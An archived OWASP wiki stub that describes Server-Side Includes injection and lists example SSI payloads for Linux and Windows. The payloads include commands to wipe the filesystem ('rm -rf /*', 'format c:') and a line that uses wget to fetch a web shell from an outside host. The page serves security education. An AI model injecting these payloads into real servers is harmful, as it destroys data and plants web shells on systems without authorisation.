This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org
Server-Side Includes (SSI) Injection
From OWASP
- This is an Attack. To view all attacks, please see the Attack Category page.
Description
SSI can be injected in to input fields where code is echo'd out and attackers are able to execute commands.
Examples
Linux
List Files - < !--#exec cmd="ls" -->
Remove All - < !--#exec cmd="rm -rf /*" -->
Navigate Directories - < !--#exec cmd="cd /root/dir/" --><br>
Plant Shell - < !--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" -->
Windows
List Files - < !--#exec cmd="dir" -->
Remove All - < !--#exec cmd="format c:" -->
Navigate Directories - < !--#exec cmd="cd C:\admin\dir" -->
Related Threats
Related Attacks
Related Vulnerabilities
Related Countermeasures
Categories
This article is a stub. You can help OWASP by expanding it or discussing it on its Talk page.